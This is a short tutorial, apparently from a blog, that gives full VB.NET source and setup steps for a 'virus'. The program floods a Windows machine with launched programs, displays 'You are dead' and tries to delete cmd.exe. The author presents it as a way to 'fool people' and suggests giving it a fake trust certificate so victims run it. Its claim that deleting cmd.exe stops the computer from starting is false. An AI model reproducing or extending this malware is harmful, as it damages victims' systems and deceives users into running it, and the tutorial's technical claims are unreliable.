Making a Virus in VB.NET

Making a Virus in VB.NET

DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.

This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.

Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:

CODE:

Timer1.Enabled = True

 

Then add the following code to the timer events.

 

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

 Process.Start("C:\Windows\System32\control.exe")

 Timer2.Enabled

 

 = True

 End Sub

 

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

 Process.Start("C:\Program Files (x86)\Internet Explorer\iexplore.exe")

 Timer3.Enabled = True

 End Sub

 

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick

 Process.Start("C:\Windows\System32\paint.exe")

 Timer4.Enabled = True

 End Sub

 

Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick

 Process.Start("C:\Windows\System32\notepad.exe")

 Timer5.Enabled = True

 End Sub

 

Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick

 MsgBox("You are dead")

 Timer1.Enabled = False

 Timer2.Enabled = False

 Timer3.Enabled = False

 Timer4.Enabled = False

 Kill("C:\WINDOWS\system32\cmd.exe")

 Timer5.Enabled = False

 End Sub

 

DONE!.

This is just a small demo. You can make endless things to fool people using a GUI application. You can also give the application the fake Trust certificate, so that the people will feel it as a genuine application and run it. 

 

BYE!